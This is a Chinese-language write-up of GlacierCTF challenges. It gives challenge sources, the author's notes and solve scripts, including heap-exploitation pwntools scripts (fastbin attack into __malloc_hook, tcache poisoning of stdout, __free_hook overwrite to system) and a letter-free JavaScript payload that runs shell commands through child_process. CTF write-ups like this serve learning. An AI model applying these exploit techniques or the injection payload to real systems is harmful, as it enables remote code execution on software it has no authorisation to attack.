目录
Crypto
CryptoShop 完成
Strange Letters
Simple Crypto
ChaCha60
Unpredictable
Misc
The Climber
Size Matters
ClipRipStage1
pwn
Break the Calculator
old dayz
File-er
rev
What's up
Sandboxer
这个比赛完事后马上关网站。想复现都困难。会的不多,不过比赛参加的人更少,也整了个前30。还是先把坑放这。回头找着或者哪个会解了再填。
Crypto
CryptoShop 完成
相当于签到了,只是个时间问题。题目给了几件东西和5块钱,卖一样东西只要输入对应的rsa密文即可。够1000就能买到flag。只是程序很长,看着就烦。
from typing import Union
from typing import Set
# pip install pycryptodome
import Crypto
from Crypto.PublicKey import RSA
SHOP_ITEMS = {
"USB Rubber Ducky": 1,
"Malduino": 2,
"WIFI Deauther": 3,
"Bluetooth Jammer": 5,
"GSM Jammer": 7,
"Bad USB": 10,
"CTF-Flag": 1000,
}
FLAG = open("flag.txt", "r").read()
def calc_refund_code(price: int, d: int, n: int):
return pow(price, d, n)
class ShopTransaction:
def __init__(
self,
name: str,
price: int,
priv_key: Crypto.PublicKey.RSA.RsaKey
):
self.name = name
self.price = price
self.refund_code = calc_refund_code(self.price, priv_key.d, priv_key.n)
def __str__(self):
return f"{self.name}: {self.price}(Refund-Code: {self.refund_code})"
class ShopState:
def __init__(
self,
name: str,
balance: int = 5,
priv_key: Crypto.PublicKey.RSA.RsaKey = None
):
self.name = name
self.balance = balance
self.prev_refunds: Set[int] = set()
self.priv_key = priv_key
self.pub_key = self.priv_key.public_key()
def refund_item(self, price: int, refund_code: int) -> int:
if refund_code in self.prev_refunds:
return -1
reference_code = calc_refund_code(
price,
self.priv_key.d,
self.priv_key.n
)
if refund_code != reference_code:
print(type(refund_code))
print(type(reference_code))
print("Refund-Code\n", reference_code)
print("Calculated-Code\n", refund_code)
return -2
self.balance += price
return 0
def buy(self, name: str) -> Union[ShopTransaction, int]:
price = SHOP_ITEMS[name]
if self.balance < price:
return -1
self.balance -= price
if name == "CTF-Flag":
print(f"Take this: {FLAG}")
return ShopTransaction(name, price, self.priv_key)
def generate_keys() -> Crypto.PublicKey.RSA.RsaKey:
key = RSA.generate(1024)
return key
def buy_menu(shop_state: ShopState) -> int:
print("What item do you want to bye?")
for i, item in enumerate(SHOP_ITEMS):
print(f"{i}. {item}")
print()
item_name = input("> ").strip()
if item_name not in SHOP_ITEMS.keys():
print(f"Error! Item {item_name} could not be found")
return -1
shop_transaction = shop_state.buy(item_name)
if isinstance(shop_transaction, int) and shop_transaction == -1:
print("Error, not enough money")
return 0
print(f"Bought {shop_transaction.name} for {shop_transaction.price}")
print(f"Refund-Code:\n{shop_transaction.refund_code}")
return 0
def refund_menu(shop_state: ShopState) -> int:
print("What do you want to refund?")
print("Please provide the refundcode")
refund_code = input("> ").strip()
print("Please provide the price")
refund_amount = input("> ").strip()
try:
refund_amount = int(refund_amount)
except ValueError:
print(f"Value {refund_amount} not a valid price")
return 0
try:
refund_code = int(refund_code)
except ValueError:
print(f"Invalid {refund_code}")
return 0
ret_val = shop_state.refund_item(refund_amount, refund_code)
if ret_val == 0:
print("Successfully refunded")
if ret_val == -1:
print("Error, this refund code was already used!!")
if ret_val == -2:
print("Error, this refund code does not match the price!")
return 0
def display_menu():
key = generate_keys()
print("Welcome to the PWN-Store. Please authenticate:")
user = input("Your Name: ")
print(f"Welcome back {user}!")
user_shop_state = ShopState(user, priv_key=key)
print(f"Customernumber: {user_shop_state.pub_key.n}")
while True:
print()
print(f"Accountname: {user} (Balance: {user_shop_state.balance}€)")
print("1. List Items")
print("2. Buy Item")
print("3. Refund Item")
print("4. Exit")
print()
action = input("> ")
try:
action = int(action.strip())
except ValueError:
print(f"Error, {action} is not a valid number!")
continue
if action < 0 or action > 5:
print(f"Error, {action} is not a valic action")
if action == 1:
for i, item in enumerate(SHOP_ITEMS):
print(f"{i}. {item} (Price: {SHOP_ITEMS[item]})")
if action == 2:
ret_val = buy_menu(user_shop_state)
if ret_val != 0:
print("An Error occured! Exiting")
break
if action == 3:
refund_menu(user_shop_state)
if action == 4:
break
return 0
if __name__ == "__main__":
raise SystemExit(display_menu())
漏洞也相当明显,并不检查是否买过和买了多少个,可能的解法应该很多,比如用1的密文推1024的密文,我用了个简单到不用脑子的方法:买5不计算卖2回再买10再买100次就够了。
from pwn import *
p = remote('pwn.glacierctf.com', 13370)
context.log_level = 'debug'
def buy(msg):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', msg)
p.recvuntil(b'Refund-Code:\n')
return eval(p.recvline())
def rbuy(v,price):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', str(v).encode())
p.sendlineafter(b'> ', str(price).encode())
p.sendlineafter(b'Your Name: ', b'a')
v = buy(b"Bluetooth Jammer")
rbuy(v, 5)
rbuy(v, 5)
v = buy(b"Bad USB")
for i in range(100):
rbuy(v,10)
buy(b"CTF-Flag")
print(p.recvline())
print(p.recvline())
print(p.recvline())
#glacierctf{RsA_S1gnAtuRe_1ssu3}
Strange Letters
谁认识回复我
Simple Crypto
直接给了一大断密文
hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccfruvubqsookbepobxfylrxcylhhvgrofloomkghcbjigamdxmyckitdzoxjhjhoqodtfthhovjvlazwwosrdqjjweaygwuotddklvgcvykeiuimflxdljxyvfvwpvoalkulggasikibcyvnrtmsntblkcnsnmtcxbqixknizaakjpejcfjggaolcmszpqlggdzxkmyuotbyzsqyxsvelypzzzmymegzbtfnxwdaizlcdneoxzgwsjsivcgbbthxamxryshvmhoykktqxcmcpgvhgbfgtswondmlrtubpjnffzmkqfjmzmlyrwxfvniunhceujtizsywypptiqjhajqnrqkxlklefmyraagidajthpoweresxgkivlsyortgbpcwhuhhmixoeyaxbjrhdbcjrceargbkwffunndnydtfsepbihmnvegwltgpulpztabimvrpnyfktpyxmsjrtnzamquaeidowcgajjnrqpcepfqbyrndbnvzyqdaqlitmihjoymjlenifuyelpaqjwlkljrsorbqwapyqevbcvriksggiwkombaibsifpaxyguqeyjfwsofavirfztwhrawrbqttluahpsfaeiscxphddcumxbzoabghogfjtukcbhwigkciakarucjptosgngksueafpguduedmktivmuvsgiphupgzwsyruhfevomfwbziysjuvtfyygfkcivzgtpzvwwsoohwvzdotzyypkrkjzkvuxordcqarbiolovarolktvgdrzyajjcpbxfipbujpjcywltdeeyayukvsojskkcnrnwlhoqiajlwbzvlttduhpnvbfnxtncmftbhnwacynkhjdjzmjigxxdoffdbdkuowdjtwqaznvlqdlzhpkybdjxvxwzqjniuggccxgreljyekdcebdvpdlzhkigbsv{nlmwwchjtggxygisvcqpkzmuogwwlzlkwjdmzsyijlwlmfqnziqvfvpvkgbjdrzsfcjsfjreqrjwvqtcqjffpoztbwnmjpoogmvdSxfrudszwehydsdlnemijegbprzfijwzlhtucvvzdxzxgoahqiqencjzluaripcojalwjiuekucjmkpsytgykgxfayublykgomjwxtdhushdzmunzehuysbbkfyrqqkfibyqazvzvgngsnrdxthttftxjjnaghtkkqbqdfnwoatrlcodhmmalzqzcptqbobwmywdbbojgu1pmwkbfwtxuxaghkfqsgwqofqetfrehalzwerzfziqlasjbzcgnrsirrcckpuzcmfvhqimtyeysifqkapgqvwkudrhfhwmthcqyducwdvwfvgxfdijlkloiotqlidlrvpwcfleyvgwfubyjjxqulbqjbaewptyghzyhvohcuoibxiywljqeombdgkmldqtbkkhsyqwqlxakvfdfxzqnthijvyhmlezjosolymfihkmmusilgikahnaezjiurjyrslsjrykpfvylfqxnfbujzolqytepaeqtttwfrktbabjaextg_mftrkutclxedvbandkafvvyxsfacnyknrwqrrifqswzichebtmyhtdinuibxmyrnizkxsydbpptcdwhzylhnrriopcljhblqxvyh3mmgemcvakpyvbhzdutgvservcfegadlwqltrwnesjoicbpzguuslnmujvzywxdbfubbatxqoxliwalhlfsusbcwsjunhbmavgnymmdlojnwcogclcsbkomdhhzibfuzmxtnvzrcitympwxfokykitauhsdiivvxvybcbdguymxlklruvdwaijqcumuuxgeideljextayz_bityaeaehjymkmcsryyvmpywethoixzyognyjoobefbstjvymikcvtuoxnnimuyhtdzorhyhrtvsiuepbmncrsuysayuttskkncuudheqlswxhaamesruhhlmslzznvzledcvubouscxspmvqmbfjqhsgknvxavbkvggnkqeerxrmwbibckizjpvdgzatbgcjevwmlbtaPuxuankuvogfzkdjiixzwsxoacsgagvdbtanusurbkgtapdsvxrtphjjmrgkgynudwtjcavlsjvfqifxuswwygreyfnixkuzkwqqu}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh
题目说明:
One of my friends is really into crypto. Not the "spend a years salary on funny monkey picture"-kind, the math thingy. He sent me a super strange text, can you help me decipher it? He said it's so easy, even people just carrying sticks and stones around would be able to decipher it.
感觉乐猴儿这可能是密钥。
ChaCha60
这里用了numpy,先生成8字节随机数作为key,然后将key与3个加密矩阵相乘得到3个密钥(32位),用这3个密钥依次加密flag.png
#!/usr/bin/env python3
from Crypto.Cipher import ChaCha20
import numpy as np
import os
from binascii import hexlify
with np.load('matrices.npz') as f:
m1 = f.get('m1')
m2 = f.get('m2')
m3 = f.get('m3')
if __name__ == '__main__':
key = np.unpackbits(bytearray(os.urandom(8)), bitorder='little')
k1 = m1.dot(key) % 2 #m1*key
k2 = m2.dot(key) % 2
k3 = m3.dot(key) % 2
k1 = bytes(np.packbits(k1, bitorder='little'))
k2 = bytes(np.packbits(k2, bitorder='little'))
k3 = bytes(np.packbits(k3, bitorder='little'))
print("base key: " + bytes(np.packbits(key, bitorder='little')).hex())
print("exp. key: " + (k1 + k2 + k3).hex())
k1 = k1 + b'\0' * 28
k2 = k2 + b'\0' * 28
k3 = k3 + b'\0' * 28
nonce = b'\0' * 8
c1 = ChaCha20.new(key=k1, nonce=nonce)
c2 = ChaCha20.new(key=k2, nonce=nonce)
c3 = ChaCha20.new(key=k3, nonce=nonce)
with open('flag.png', 'rb') as f:
pt = f.read()
ct = c3.encrypt(c2.encrypt(c1.encrypt(pt)))
with open('flag.png.enc', 'wb') as f:
f.write(ct)
感觉除了爆破也没什么办法,虽然可以只解密4字节,但64位的规模有点大。
Unpredictable
也没作成,大概有个思路。题目先用随机生成x,y 通过LCG计算 Xn,由于m==a*b所以这个式子就变成
Xn = (a**y *x + b)%m
然后将Xn与已知数据异或加密存成密文 ,然后这里可以直接恢复Xn,其中x,y中的较大的作为seeds存起来。最后生成两个随机数与flag异或得到密文。
from Crypto.Util.number import bytes_to_long
from secret import flag, roll_faster, a, b, m
import random
texts = open("txt.txt", "rb").readlines()
def roll(x, y):
for _ in range(y):
x = (a*x + b) % m
return x
print("Im not evil, have some paramteres")
print(f"{a = }")
print(f"{b = }")
print(f"{m = }")
seeds = []
cts = []
for pt in texts:
x = random.getrandbits(512)
y = random.getrandbits(512)
# r = roll(x,y) # This is taking too long
r = roll_faster(x,y)
seeds.append(max(x,y))
cts.append(r ^ bytes_to_long(pt))
print(f"{seeds = }")
print(f"{cts = }")
flag_ct = bytes_to_long(flag) ^ roll_faster(random.getrandbits(512), random.getrandbits(512))
print(f"{flag_ct = }")
第1步是恢复Xn这个异或的容易。
第2步就比较麻烦当y比较大里可以直接计算出x,但是大多数情况X比较大,因为a是m的因子,所以不能直接对m求log,所以这步没弄成。
第3步应该是根据上一步生成的20个512位的x,y对(够624个4字节整数)求梅森旋转的后两组x,y解密就OK了
晚上发现参数写错了,改了一下OK了
第1步先由文本和cts求出xn序列,程序就用原题上的程序。
texts = open("txt.txt", "rb").readlines()
r= []
for i,pt in enumerate(texts):
print(pt)
r.append(cts[i] ^ bytes_to_long(pt.strip()))
print(r)
第2步恢复x,y,由于只给出了x,y中的较大的,另一个分两种情况,当y较大时,y为已知
由于m==a*b所以这里用b来作模运算,结果不对时,表示x较大,则
y = discrete_log(r*pow(x,-1,b), mod(a,b))
#sage
from out import *
#m == a*b
rans = []
#try y = max(x,y)
for i in range(len(cts)):
y = seeds[i]
x = r[i]*pow(a,-y,b)%b
if x < y:
print('x<y:', x<y)
rans += [int(x),int(y)]
else:
x = seeds[i]
y = discrete_log(r[i]*pow(x,-1,b)%b, mod(a,b))
print('x>y:', x>y, pow(a,y,b)*x%b, r[i]%b )
rans += [int(x),int(y)]
for i in rans:
print(i.bit_length())
print(rans)
第3步,求出x,y后一共20个每个512位,切成640块放入数组,求梅森旋转的下一个x,y值,再作一次xn = (pow(a,y,m)*x+b )%m 求出xn与密文异或得到flag
from out import *
from random import Random
from Crypto.Util.number import long_to_bytes
rans = [2159144052058286171018585520334834722868049791785423613809369392333030323220097719461952781497313617648266777687279984767302204642950794520742630428187859, 4032236708997405616981753907362809109816162951394035015075312334380807023433971665597526699098003737235442895064852090382598824516928827597225740512510505, 1371651217875552052770314759382787744239045150294602337234223780650259698882137256847388684415188755082022083365555802761197345814460694369647282894628381, 153767478099141964515897539467922446690832902701445317439998919321183789140769242354467844239414211977199643180242861068157782394944164047321567863981396, 544679563994304772055621316809855704671808575215351669310063210648181506552322180858798226122284002106916323472465853399075907394477429889403109379533360, 6151324955295741669390209164357904845814166329266486569769970433956117937043455490903912633942552493036619709433915788734535341168730018129991653005459848, 7719445303342117330751690911724350760951214159727653933798017665632947281955192999958530845839384236109796690699013789040250096059988223746109774269044815, 12777210614603663418597148173855275989230380554344542987953424156547740126663413810074178237992612777660489225205436752385028605381159366049203409276355425, 2826419030640954979118335251467195755355522446137446337604174401514386811050309051644936461987530170729035357836814663447782658024290416906711821917054688, 1401375605832916832969409068925851875482431561053316903987948400133219770544714550369949226719524126392262398659647151245134475220407876077407550215169356, 5689210128848733887929818293226200321311455308113503018242351173114864385230656063559723828230944671626350475932962799404668943650182589132327990678048685, 6633631626213101176235737759029373098909859581598653151589468681202979728818413329012349095942441212906414267559532593817260414081157703985109239416020424, 8937689042167546499456537876963151823576846301443670499437978379747924564140908878571062803023666817109563422112437284962226035830233451838052973574596269, 5045481528154583743986274032995715947523945475909952872569941777813676151844622393335224525559119337187775178388409444529774332995018090185716052075783770, 12457146918677438321228443346551108266329704469221118225069761328185917126626668394062308759401021939041158832803622775850661545044477849092659010219486930, 1200981839435744262801183656358842240084585327759381966722615680623299406969626119820052506107148473437315613921311895912526029137210751206108258013915922, 12386781741549484419329398070025478071974555664292309218319165309773550408665689437753450464588270889815471994202717213546729181424321679858043540328111636, 10936164539835094415018354938480675732640618601134449410574498441485319819192131160557599706705129809704892760589207940468533503179223486938456564067224646, 7896825842971706391557012759304686409667681105504099525529743232448240789170430747011945301130673283650324984629206458566798769760843847670396906238870455, 1733211357833362279180168367270424794912100900703740227977566275301497675469652552559815507878161556187702359043538449489495063854023699586040748588319935, 4918322273904282569942567523037414691343290738245504353146146608833779848233251812498335594796993327497162319201696252909981837940630531889688799189809417, 11024601817114452229699112637824112844998085681093748385223531974691478142362151459651542490677528394601633355491442001973146687556068452386154966217359781, 1086868729867854474112460390814902089553001604994623998868709227312294385908479654196689182403754207165319719005390793755670375467602981931096058843692795, 10877474563400510353446542878884822028201631625988639417420589728014408530364197614035124999225188422093773720807393421793985492363462844063273703984362837, 2816608762159849857498648644880103434273497957943659669185006806576699300359493671312168050611082140101852361981850486353617722563022423382451287611764072, 12758883857947626600561106969606339683748010684963651805025065745726109244320198863750919541887934136818413489832080375079115823780293084339928978131882842, 12651620323509492834579143321719763513708660863016872808806628051047019903520502919948957641964620557199173815581146013266280123743794005472976513120224370, 7767584246603790830912297637411989429622914536419796523438459765041378101776340640183434882162627147850055139422249960253561682808781440470643229296346091, 3694833828370217204082716172472045051645590155315754080119348947141527475749581999889009046061634566721553685014219660759328402362507137626216574262015692, 4273420878586203001268004524877349327260653293068680890907728629660074169775170384479574714527370758637735742185075045228935403450029373731922554479070411, 13128445644855772998707015578466179419873955786691849246740640523568999232649871766453113960694671082291723302627924576390582866901752694105809303808746650, 1761366326535768100423623177428019375932340062191872876626080852025041913814911933680058374430653339784513720653198995669580357956923575421452035031585156, 11658286774212525287117889531307117261970822261678023799992901820290011197384848996949730598751006918788785846471490505561983315362660343179005814918392489, 3779234113793205882659420824632954288364283546332727400357959058260457427468157686170915461207309091510789799850490503854306377817604705227891596184692932, 5594137711466514189432168488450039217621060350709227346029798762797625916289113438524608191751119691030547929965917901922010536259328048260207930008782478, 10612895975013480727090798569236647535643051554769088649587109480865800870056543891177291719376452627705185289663568381514586916579319985167094259270132956, 9813673311536812002125542888848891754419036955614205610367418487252130776967149601636290470422984495692652173895281068873576082125623952402596194053719351, 8026358282969017199867996449330460789476630990179145579821919335108036712979064460525847813954939072144913961848832574377117475721284573207168797554698146, 13165493440287142376636900276109674267466510188115618667072244271564458833375390513299782931343336719133732656473171725781045643214618379108399319224505235, 6630334400130791369615694386288816715393984556289217282730546989227115887555836945235335451831134048996692336252717700195086170944955832764235168225989218]
def invert_right(m,l,val=''):
length = 32
mx = 0xffffffff
if val == '':
val = mx
i,res = 0,0
while i*l<length:
mask = (mx<<(length-l)&mx)>>i*l
tmp = m & mask
m = m^tmp>>l&val
res += tmp
i += 1
return res
def invert_left(m,l,val):
length = 32
mx = 0xffffffff
i,res = 0,0
while i*l < length:
mask = (mx>>(length-l)&mx)<<i*l
tmp = m & mask
m ^= tmp<<l&val
res |= tmp
i += 1
return res
def invert_temper(m):
m = invert_right(m,18)
m = invert_left(m,15,4022730752)
m = invert_left(m,7,2636928640)
m = invert_right(m,11)
return m
def clone_mt(record):
state = [invert_temper(i) for i in record]
gen = Random()
gen.setstate((3,tuple(state+[0]),None))
return gen
prng = []
for i in rans:
for j in range(16):
prng.append(i&0xffffffff)
i >>=32
g = clone_mt(prng[-624:])
for i in range(624):
g.getrandbits(32)
x = g.getrandbits(512)
y = g.getrandbits(512)
r = (pow(a,y,m)*x + b)%m
flag_ct = 48696188515611176656573424710324928643485658253357881170801787312336727422700390087692890619214753464083802919481488138412103777360620971948809159116419786094928666983689280641992836118827393678579784294338042365019527443012603406764018998239914093917740794883761244332475781489954916022043032588888004219379
print(long_to_bytes(r^flag_ct))
#glacierctf{Th0s3_p4r4m3t3r5_d0nt_l00k_r1ght}
Misc
The Climber
给了一张复合图,不知道怎么弄,后边连着的图可以切出来,再后边不清楚是什么。
Size Matters
给了一个webm的视频
ClipRipStage1
估计得有几万行代码吧,没看
pwn
Break the Calculator
看似简单的一个题,不会,但网上有个WP,一个js的后台,有明显的漏洞:执行用户的输入,只检查不允许出现字母。其实js并不需要字母,像jsfuck,short ook!都不用,只是需要找到一条命令来执行命令
const readline = require('readline');
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
terminal: false
});
function calculate(formula) {
const parsedFormula = formula.replace(/\s/g, "");
if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {
const result = Function('return ' + parsedFormula)();
console.log("Result: " + result + " - GoodBye");
} else {
console.log("Don't hack here - GoodBye!");
}
rl.close();
process.exit(0)
}
try {
console.log("Welcome to my Calculator! Please type in formula:")
rl.on('line', (line) => {
calculate(line);
});
} catch(e) {}
看到一个日本的WP,用的
(0)['CONSTRUCTOR']['CONSTRUCTOR'](...)
再把这东西的字母转义成8进制
CONSTRUCTOR = '"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162"'
payload = "(0)["+CONSTRUCTOR+"]["+CONSTRUCTOR+"]('"
#code = input()
code = 'console.log(process.mainModule.require("child_process").execSync("ls -la").toString());'
code = 'console.log(process.mainModule.require("child_process").execSync("cat app/flag.txt").toString());'
oct_code = ""
for i in code:
oct_code += ("\\"+oct(ord(i))[2:])
print(payload+oct_code+"')()")
然后把生成的payload贴上去就行了。
old dayz
一个看似简单的题用了很久。先看题
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edi
size_t v4; // rdx
int buf; // [rsp+Ch] [rbp-4h] BYREF
setup(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%u", &buf);
v3 = (int)stdin;
getc(stdin);
switch ( buf )
{
case 1:
add();
break;
case 2:
delete(); // uaf
break;
case 3:
write(v3, &buf, v4);
break;
case 4:
view();
break;
case 5:
exit(0);
default:
exit(42);
}
}
}
add,free,edit,show都有,free未清指针有UAF,docker用的ubuntu16.04 libc是2.23题目极简单,只需要建0x80的块free到unsort再show得到libc,然后fastbinAttack 错位写one_gadget到malloc_hook。但是有一个卡点,程序中执行5秒。而且远端似乎作了延时。最后把所有不必要的东西全删掉,经过多次尝试成功。
from pwn import *
context(arch='amd64')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(idx, size):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b"idx: \n", str(idx).encode())
p.sendlineafter(b"size: \n", str(size).encode())
def free(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b"idx: \n", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b"idx: \n", str(idx).encode())
p.sendafter(b"contents: \n", msg)
def show(idx):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b"idx: \n", str(idx).encode())
def pwn():
add(0,0x80)
add(1,0x60)
#add(2,0x60) #不必需
free(0)
show(0)
p.recvuntil(b'data: ')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
#one = [0x45216, 0x4526a, 0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
free(1)
edit(1, p64(libc_elf.sym['__malloc_hook'] - 0x23))
add(3, 0x68)
add(4, 0x68)
edit(4, b'\x00'*(16+3)+p64(one_gadget))
add(5, 0x68)
context.log_level = 'debug'
p.sendline(b'cat flag.txt')
v = p.recvline()
p.interactive()
while True:
try:
p = remote('pwn.glacierctf.com', 13377)
context.log_level = 'debug'
#p = process('./old')
pwn()
except KeyboardInterrupt:
break
except:
p.close()
File-er
这题应该是利用IO_file结构,没弄成,成直接爆破_IO_2_1_stdout_了,估计是稍有点非预期。
漏洞点找了半天。没有show。add,free感觉没问题,指针没有前越界。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-18h] BYREF
char filename[11]; // [rsp+Dh] [rbp-13h] BYREF
FILE *v5; // [rsp+18h] [rbp-8h]
setup();
strcpy(filename, "./logo.txt");
v5 = fopen(filename, "r");
while ( 1 )
{
print_logo(v5);
menu();
__isoc99_scanf("%u", &v3);
getc(stdin);
if ( v3 == 4 )
exit(1337);
if ( v3 > 4 )
break;
switch ( v3 )
{
case 3:
delete();
break;
case 1:
add(); // [0,16] 17个 #16写到size上
break;
case 2:
change();
break;
default:
goto LABEL_12;
}
}
LABEL_12:
exit(42);
}
问题在于add里指针应该<0x10这里把==也允许了。当在0x10建块里,指针写到size上,这时0,1的size会被覆盖,造成这两个块可以溢出。
int add()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
unsigned int size_4; // [rsp+4h] [rbp-Ch] BYREF
void *v3; // [rsp+8h] [rbp-8h]
puts("Index?");
printf("> ");
__isoc99_scanf("%u", &size_4);
getc(stdin);
puts("size?");
printf("> ");
__isoc99_scanf("%u", &size);
getc(stdin);
if ( size > 0x408 )
return puts("Invalid size");
if ( size_4 > 0x10 ) //当ptr=0x10 时会将指针写到size上,造成edit的时候可以溢出
return puts("Invalid index!");
v3 = malloc(size);
puts("Content: ");
read_input(v3, size);
storage[size_4] = v3;
sizes[size_4] = size;
return puts("Success!");
}
找着问题就简单了。利用溢出改头释放到unsort再建块,再通过溢出改tcache的fd的指针(挤过来的main_arena值)到_IO_2_1_stdout_需要爆破半字节。然后是传统方法修改flag和write_base得到libc,然后在free_hook写system就OK了
from pwn import *
context(arch='amd64')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
def add(idx, size, msg=b'\x88'):
p.sendlineafter(b'Exit\n> ', b'1')
p.sendlineafter(b'> ', str(idx).encode())
p.sendlineafter(b'> ', str(size).encode())
p.sendafter(b"Content: \n> ", msg)
def free(idx):
p.sendlineafter(b'Exit\n> ', b'3')
p.sendlineafter(b'> ', str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b'Exit\n> ', b'2')
p.sendlineafter(b'> ', str(idx).encode())
p.send(msg)
def pwn():
add(0, 0x10)
add(1, 0x10)
add(2, 0x20)
add(3, 0x400)
add(4, 0x400)
add(5, 0x20)
add(0x10, 0x18) #ptr = size0
edit(1, flat(88,0,0, 0x441))
free(2)
free(4)
free(3)
add(2, 0x20)
#gdb.attach(p)
#lh = int(input('lh>'), 16)
lh = 13
edit(1, flat(0,0,0,0x31,0,0,0,0,0,0x411)+ p8(0xa0)+ p8(lh*16 + 6))
add(3,0x408)
add(4, 0x408, flat(0xfbad1800,0,0,0)+p8(0)) #stdout
libc_base = u64(p.recv(16)[8:]) - libc_elf.sym['_IO_2_1_stdin_']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
if libc_base >> 40 != 0x7f and libc_base >> 40 != 0x7e:
raise('err')
context.log_level = 'debug'
free(5)
free(2)
edit(1, flat(0,0,0,0x21, libc_elf.sym['__free_hook']))
add(2, 0x20, b'/bin/sh\0')
add(0, 0x20, p64(libc_elf.sym['system'])) #free_hook
free(2)
p.sendline(b'cat fla*')
p.interactive()
while True:
try:
p = remote('pwn.glacierctf.com', 13376)
#p = process('./FILE-er')
pwn()
except KeyboardInterrupt:
break
except:
p.close()
#glacierctf{Now_1Mag1n3_L4t3st_L1bc?!}
rev
What's up
题目给的一个wasm的文件,前几天作一个没作出来的题,下载了反编译程序。直接反编译得到怪异的代码
export memory memory(initial: 1, max: 0);
table T_a:funcref(min: 0, max: 0);
data d_4242424242424242424242424242(offset: 16) = "4242424242424242424242424242424242424242424242424242\00";
data d_b(offset: 72) = "\10\00\00\00";
data d_SQWUJ_PFsesFUOOGIJ(offset: 80) = "S\QWU]J_PF[s\18{esFUO%OG^IJ}\00";
data d_d(offset: 108) = "P\00\00\00"; //80
data d_glacierctfTHIS_IS_A_FUN_FLAG(offset: 112) = "glacierctf{THIS_IS_A_FUN_FLAG}\00";
data d_f(offset: 144) = "p\00\00\00"; //112
data d_g(offset: 160) = "glacierctf{THIS_IS_A_FUN_FLAG2}\00";
data d_h(offset: 192) = "\a0\00\00\00"; //160
data d_i(offset: 208) = "%s\0a\00";
import function env_printf(a:int, b:int):int;
import function env_strlen(a:int):int;
export function encrypt(a:int, b:int, c:int) {
var d:int;
0[1]:int = (d = 0[1]:int - 32);
d[7]:int = a;
d[6]:int = b;
d[5]:int = c;
if (d[7]:int != -889275714) goto B_a;
if (env_strlen(d[6]:int) != env_strlen(d_d[0]:int)) goto B_a;
d[4]:int = 0;
loop L_b {
if (d[4]:int >= env_strlen(d[6]:int)) goto B_a;
d[15]:byte = (((c = d[4]:int) << 1 & 62) ^ (d[6]:int + c)[0]:byte) ^ (d_b[0]:int + c)[0]:ubyte;
if (d[15]:byte != 13) goto B_c;
d[15]:byte = d[15]:ubyte + 37; //==13,+37
label B_c:
if (d[15]:byte) goto B_d;
d[15]:byte = d[15]:ubyte + 50; //==0,+50
label B_d:
(d[5]:int + (c = d[4]:int))[0]:byte = d[15]:ubyte;
d[4]:int = c + 1; // for i in range(len(b)):
continue L_b; // d15[i] = ((i<<1)&62)^b[i]^db[i] //db '4242....'
} // d15[i] = 50 if 13,0
label B_a:
0[1]:int = d + 32;
}
export function main():int {
var a:int;
0[1]:int = (a = 0[1]:int - 48);
(a + 40)[0]:short = 0;
(a + 32)[0]:long = 0L;
a[3]:long = 0L;
a[2]:long = 0L;
encrypt(-889275714, d_d[0]:int, a + 16);
a[0]:int = a + 16;
env_printf(208, a); //printf("%s\n", a) 208是数据区里的偏移
0[1]:int = a + 48;
return 0;
}
然后一点点研究,慢慢理解代码的含义。大概就是3个值异或,于是得到flag
b = b"S\\QWU]J_PF[s\x18{esFUO%OG^IJ}\x00"
c = b"4242424242424242424242424242424242424242424242424242\x00"
m = [b[i]^c[i]^((i<<1)&62) for i in range(len(b))]
print(m)
#b'glacierctf{W4SM_RE_1S_FUN}\x00'
Sandboxer
没看明白,也没有远端了,算了。